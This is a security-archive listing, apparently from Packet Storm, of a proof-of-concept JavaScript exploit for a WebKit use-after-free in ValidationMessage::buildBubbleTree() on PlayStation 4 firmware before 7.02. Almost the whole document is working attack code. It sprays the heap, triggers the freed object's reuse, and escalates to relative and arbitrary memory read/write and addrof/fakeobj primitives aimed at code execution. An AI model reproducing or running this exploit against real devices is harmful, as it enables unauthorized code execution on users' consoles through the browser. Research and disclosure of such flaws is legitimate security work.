Sony Playstation 4 ValidationMessage::buildBubbleTree() Use-After-Free

Sony Playstation 4 versions prior to 7.02 ValidationMessage::buildBubbleTree() use-after-free webkit code execution proof of concept exploit.

MD5 | 5e0adf2201a5e41591889202021a2e61

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const OFFSET_ELEMENT_REFCOUNT = 0x10;
const OFFSET_JSAB_VIEW_VECTOR = 0x10;
const OFFSET_JSAB_VIEW_LENGTH = 0x18;
const OFFSET_LENGTH_STRINGIMPL = 0x04;
const OFFSET_HTMLELEMENT_REFCOUNT = 0x14;

const LENGTH_ARRAYBUFFER = 0x8;
const LENGTH_STRINGIMPL = 0x14;
const LENGTH_JSVIEW = 0x20;
const LENGTH_VALIDATION_MESSAGE = 0x30;
const LENGTH_TIMER = 0x48;
const LENGTH_HTMLTEXTAREA = 0xd8;

const SPRAY_ELEM_SIZE = 0x6000;
const SPRAY_STRINGIMPL = 0x1000;

const NB_FRAMES = 0xfa0;
const NB_REUSE = 0x8000;

var g_arr_ab_1 = [];
var g_arr_ab_2 = [];
var g_arr_ab_3 = [];

var g_frames = [];

var g_relative_read = null;
var g_relative_rw = null;
var g_ab_slave = null;
var g_ab_index = null;

var g_timer_leak = null;
var g_jsview_leak = null;
var g_jsview_butterfly = null;
var g_message_heading_leak = null;
var g_message_body_leak = null;

var g_obj_str = {};

var g_rows1 = '1px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "1px";
var g_rows2 = '2px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "2px";

var g_round = 1;
var g_input = null;

var guess_htmltextarea_addr = new Int64("0x2031b00d8");

var master_b = new Uint32Array(2);
var slave_b =  new Uint32Array(2);
var slave_addr;
var slave_buf_addr;
var master_addr;


/* Executed after deleteBubbleTree */
function setupRW() {
  /* Now the m_length of the JSArrayBufferView should be 0xffffff01 */
  for (let i = 0; i < g_arr_ab_3.length; i++) {
    if (g_arr_ab_3[i].length > 0xff) {
      g_relative_rw = g_arr_ab_3[i];
      debug_log("[+] Succesfully got a relative R/W");
      break;
    }
  }
  if (g_relative_rw === null)
    die("[!] Failed to setup a relative R/W primitive");

  debug_log("[+] Setting up arbitrary R/W");

  /* Retrieving the ArrayBuffer address using the relative read */
  let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1;
  let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR));

  /* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */
  let ab_index = g_jsview_leak.sub(ab_addr).low32();
  if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER)
    g_ab_index = ab_index + LENGTH_JSVIEW;
  else
    g_ab_index = ab_index - LENGTH_JSVIEW;

  /* Overding the length of one JSArrayBufferView with a known value */
  g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41;

  /* Looking for the slave JSArrayBufferView */
  for (let i = 0; i < g_arr_ab_3.length; i++) {
    if (g_arr_ab_3[i].length === 0x41) {
      g_ab_slave = g_arr_ab_3[i];
      g_arr_ab_3 = null;
      break;
    }
  }
  if (g_ab_slave === null)
    die("[!] Didn't found the slave JSArrayBufferView");

  /* Extending the JSArrayBufferView length */
  g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff;
  g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff;
  g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff;
  g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff;

  debug_log("[+] Testing arbitrary R/W");

  let saved_vtable = read64(guess_htmltextarea_addr);
  write64(guess_htmltextarea_addr, new Int64("0x4141414141414141"));
  if (!read64(guess_htmltextarea_addr).equals("0x4141414141414141"))
    die("[!] Failed to setup arbitrary R/W primitive");

  debug_log("[+] Succesfully got arbitrary R/W!");

  /* Restore the overidden vtable pointer */
  write64(guess_htmltextarea_addr, saved_vtable);

  /* Cleanup memory */
  cleanup();

  /* Set up addrof/fakeobj primitives */
  g_ab_slave.leakme = 0x1337;
  var bf = 0;
  for(var i = 15; i >= 8; i--)
    bf = 256 * bf + g_relative_rw[g_ab_index + i];
  g_jsview_butterfly = new Int64(bf);
  if(!read64(g_jsview_butterfly.sub(16)).equals(new Int64("0xffff000000001337")))
    die("[!] Failed to setup addrof/fakeobj primitives");
  debug_log("[+] Succesfully got addrof/fakeobj");

  /* Getting code execution */
  /* ... */
  var leak_slave = addrof(slave_b);
  var slave_addr = read64(leak_slave.add(0x10));

  og_slave_addr = new int64(slave_addr.low32(), slave_addr.hi32());
  var leak_master = addrof(master_b);
  write64(leak_master.add(0x10), leak_slave.add(0x10));
  var prim = {
    write8: function(addr, val) {
      master_b[0] = addr.low;
      master_b[1] = addr.hi;

      if(val instanceof int64) {
        slave_b[0] = val.low;
        slave_b[1] = val.hi;
      }
      else {
        slave_b[0] = val;
        slave_b[1] = 0;
      }

      master_b[0] = og_slave_addr.low;
      master_b[1] = og_slave_addr.hi;
    },
    write4: function(addr, val) {
      master_b[0] = addr.low;
      master_b[1] = addr.hi;

      slave_b[0] = val;

      master_b[0] = og_slave_addr.low;
      master_b[1] = og_slave_addr.hi;
    },
    read8: function(addr) {
      master_b[0] = addr.low;
      master_b[1] = addr.hi;
      var r = new int64(slave_b[0], slave_b[1]);
      master_b[0] = og_slave_addr.low;
      master_b[1] = og_slave_addr.hi;
      return r;
    },
    read4: function(addr) {
      master_b[0] = addr.low;
      master_b[1] = addr.hi;
      var r = slave_b[0];
      master_b[0] = og_slave_addr.low;
      master_b[1] = og_slave_addr.hi;
      return r;
    },
    leakval: function(val) {
      g_ab_slave.leakme = val;
      master_b[0] = g_jsview_butterfly.low32() - 0x10;
      master_b[1] = g_jsview_butterfly.hi32();
      var r = new int64(slave_b[0], slave_b[1]);
      master_b[0] = og_slave_addr.low;
      master_b[1] = og_slave_addr.hi;
      return r;
    },
  };
  window.prim = prim;
  setTimeout(stage2, 1000);
}

function read(addr, length) {
  for (let i = 0; i < 8; i++)
    g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
  let arr = [];
  for (let i = 0; i < length; i++)
    arr.push(g_ab_slave[i]);
  return arr;
}

function read64(addr) {
  return new Int64(read(addr, 8));
}

function write(addr, data) {
  for (let i = 0; i < 8; i++)
    g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
  for (let i = 0; i < data.length; i++)
    g_ab_slave[i] = data[i];
}

function write64(addr, data) {
  write(addr, data.bytes());
}

function addrof(obj) {
  g_ab_slave.leakme = obj;
  return read64(g_jsview_butterfly.sub(16));
}

function fakeobj(addr) {
  write64(g_jsview_butterfly.sub(16), addr);
  return g_ab_slave.leakme;
}

function cleanup() {
  select1.remove();
  select1 = null;
  input1.remove();
  input1 = null;
  input2.remove();
  input2 = null;
  input3.remove();
  input3 = null;
  div1.remove();
  div1 = null;
  g_input = null;
  g_rows1 = null;
  g_rows2 = null;
  g_frames = null;
}

/*
 * Executed after buildBubbleTree
 * and before deleteBubbleTree
 */
function confuseTargetObjRound2() {
  if (findTargetObj() === false)
    die("[!] Failed to reuse target obj.");

  g_fake_validation_message[4] = g_jsview_leak.add(OFFSET_JSAB_VIEW_LENGTH + 5 - OFFSET_HTMLELEMENT_REFCOUNT).asDouble();

  setTimeout(setupRW, 6000);
}


/* Executed after deleteBubbleTree */
function leakJSC() {
  debug_log("[+] Looking for the smashed StringImpl...");

  var arr_str = Object.getOwnPropertyNames(g_obj_str);

  /* Looking for the smashed string */
  for (let i = arr_str.length - 1; i > 0; i--) {
    if (arr_str[i].length > 0xff) {
      debug_log("[+] StringImpl corrupted successfully");
      g_relative_read = arr_str[i];
      g_obj_str = null;
      break;
    }
  }
  if (g_relative_read === null)
    die("[!] Failed to setup a relative read primitive");

  debug_log("[+] Got a relative read");

        var tmp_spray = {};
        for(var i = 0; i < 100000; i++)
                tmp_spray['Z'.repeat(8 * 2 * 8 - 5 - LENGTH_STRINGIMPL) + (''+i).padStart(5, '0')] = 0x1337;

  let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER);

  /* Spraying JSView */
  let tmp = [];
  for (let i = 0; i < 0x10000; i++) {
    /* The last allocated are more likely to be allocated after our relative read */
    if (i >= 0xfc00)
      g_arr_ab_3.push(new Uint8Array(ab));
    else
      tmp.push(new Uint8Array(ab));
  }
  tmp = null;

  /*
   * Force JSC ref on FastMalloc Heap
   * https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151
   */
  var props = [];
  for (var i = 0; i < 0x400; i++) {
    props.push({ value: 0x42424242 });
    props.push({ value: g_arr_ab_3[i] });
  }

  /* 
   * /!\
   * This part must avoid as much as possible fastMalloc allocation
   * to avoid re-using the targeted object 
   * /!\ 
   */
  /* Use relative read to find our JSC obj */
  /* We want a JSView that is allocated after our relative read */
  while (g_jsview_leak === null) {
    Object.defineProperties({}, props);
    for (let i = 0; i < 0x800000; i++) {
      var v = undefined;
      if (g_relative_read.charCodeAt(i) === 0x42 &&
        g_relative_read.charCodeAt(i + 0x01) === 0x42 &&
        g_relative_read.charCodeAt(i + 0x02) === 0x42 &&
        g_relative_read.charCodeAt(i + 0x03) === 0x42) {
        if (g_relative_read.charCodeAt(i + 0x08) === 0x00 &&
          g_relative_read.charCodeAt(i + 0x0f) === 0x00 &&
          g_relative_read.charCodeAt(i + 0x10) === 0x00 &&
          g_relative_read.charCodeAt(i + 0x17) === 0x00 &&
          g_relative_read.charCodeAt(i + 0x18) === 0x0e &&
          g_relative_read.charCodeAt(i + 0x1f) === 0x00 &&
          g_relative_read.charCodeAt(i + 0x28) === 0x00 &&
          g_relative_read.charCodeAt(i + 0x2f) === 0x00 &&
          g_relative_read.charCodeAt(i + 0x30) === 0x00 &&
          g_relative_read.charCodeAt(i + 0x37) === 0x00 &&
          g_relative_read.charCodeAt(i + 0x38) === 0x0e &&
          g_relative_read.charCodeAt(i + 0x3f) === 0x00)
          v = new Int64(str2array(g_relative_read, 8, i + 0x20));
        else if (g_relative_read.charCodeAt(i + 0x10) === 0x42 &&
          g_relative_read.charCodeAt(i + 0x11) === 0x42 &&
          g_relative_read.charCodeAt(i + 0x12) === 0x42 &&
          g_relative_read.charCodeAt(i + 0x13) === 0x42)
          v = new Int64(str2array(g_relative_read, 8, i + 8));
      }
      if (v !== undefined && v.greater(g_timer_leak) && v.sub(g_timer_leak).hi32() === 0x0) {
        g_jsview_leak = v;
        props = null;
        break;
      }
    }
  }
  /* 
   * /!\
   * Critical part ended-up here
   * /!\ 
   */

  debug_log("[+] JSArrayBufferView: " + g_jsview_leak);

  /* Run the exploit again */
  prepareUAF();
}

/*
 * Executed after buildBubbleTree
 * and before deleteBubbleTree
 */
function confuseTargetObjRound1() {
  /* Force allocation of StringImpl obj. beyond Timer address */
  sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2);

  /* Checking for leaked data */
  if (findTargetObj() === false)
    die("[!] Failed to reuse target obj.");

  dumpTargetObj();

  g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble();

  /*
   * The timeout must be > 5s because deleteBubbleTree is scheduled to run in
   * the next 5s
   */
  setTimeout(leakJSC, 6000);
}

function handle2() {
  /* focus elsewhere */
  input2.focus();
}

function reuseTargetObj() {
  /* Delete ValidationMessage instance */
  document.body.appendChild(g_input);

  /*
   * Free ValidationMessage neighboors.
   * SmallLine is freed -> SmallPage is cached
   */
  for (let i = NB_FRAMES / 2 - 0x10; i < NB_FRAMES / 2 + 0x10; i++)
    g_frames[i].setAttribute("rows", ',');

  /* Get back target object */
  for (let i = 0; i < NB_REUSE; i++) {
    let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE);
    let view = new Float64Array(ab);

    view[0] = guess_htmltextarea_addr.asDouble();   // m_element
    view[3] = guess_htmltextarea_addr.asDouble();   // m_bubble

    g_arr_ab_1.push(view);
  }

  if (g_round == 1) {
    /*
     * Spray a couple of StringImpl obj. prior to Timer allocation
     * This will force Timer allocation on same SmallPage as our Strings
     */
    sprayStringImpl(0, SPRAY_STRINGIMPL);

    g_frames = [];
    g_round += 1;
    g_input = input3;

    setTimeout(confuseTargetObjRound1, 10);
  } else {
    setTimeout(confuseTargetObjRound2, 10);
  }
}

function dumpTargetObj() {
  debug_log("[+] m_timer: " + g_timer_leak);
  debug_log("[+] m_messageHeading: " + g_message_heading_leak);
  debug_log("[+] m_messageBody: " + g_message_body_leak);
}

function findTargetObj() {
  for (let i = 0; i < g_arr_ab_1.length; i++) {
    if (!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)) {
      debug_log("[+] Found fake ValidationMessage");

      if (g_round === 2) {
        g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]);
        g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]);
        g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]);
        g_round++;
      }

      g_fake_validation_message = g_arr_ab_1[i];
      g_arr_ab_1 = [];
      return true;
    }
  }
  return false;
}

function prepareUAF() {
  g_input.setCustomValidity("ps4");

  for (let i = 0; i < NB_FRAMES; i++) {
    var element = document.createElement("frameset");
    g_frames.push(element);
  }

  g_input.reportValidity();
  var div = document.createElement("div");
  document.body.appendChild(div);
  div.appendChild(g_input);

  /* First half spray */
  for (let i = 0; i < NB_FRAMES / 2; i++)
    g_frames[i].setAttribute("rows", g_rows1);

  /* Instantiate target obj */
  g_input.reportValidity();

  /* ... and the second half */
  for (let i = NB_FRAMES / 2; i < NB_FRAMES; i++)
    g_frames[i].setAttribute("rows", g_rows2);

  g_input.setAttribute("onfocus", "reuseTargetObj()");
  g_input.autofocus = true;
}

/* HTMLElement spray */
function sprayHTMLTextArea() {
  debug_log("[+] Spraying HTMLTextareaElement ...");

  let textarea_div_elem = document.createElement("div");
  document.body.appendChild(textarea_div_elem);
  textarea_div_elem.id = "div1";
  var element = document.createElement("textarea");

  /* Add a style to avoid textarea display */
  element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;';

  /*
   * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc
   * allocation of the node attributes and an IsoHeap allocation of the
   * Element. The virtual page layout will look something like that:
   * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...]
   */
  for (let i = 0; i < SPRAY_ELEM_SIZE; i++)
    textarea_div_elem.appendChild(element.cloneNode());
}

/* StringImpl Spray */
function sprayStringImpl(start, end) {
  for (let i = start; i < end; i++) {
    let s = new String("A".repeat(LENGTH_TIMER - LENGTH_STRINGIMPL - 5) + i.toString().padStart(5, "0"));
    g_obj_str[s] = 0x1337;
  }
}

function go() {
  /* Init spray */
  sprayHTMLTextArea();

  g_input = input1;
  /* Shape heap layout for obj. reuse */
  prepareUAF();
}
        

Source: packetstormsecurity.com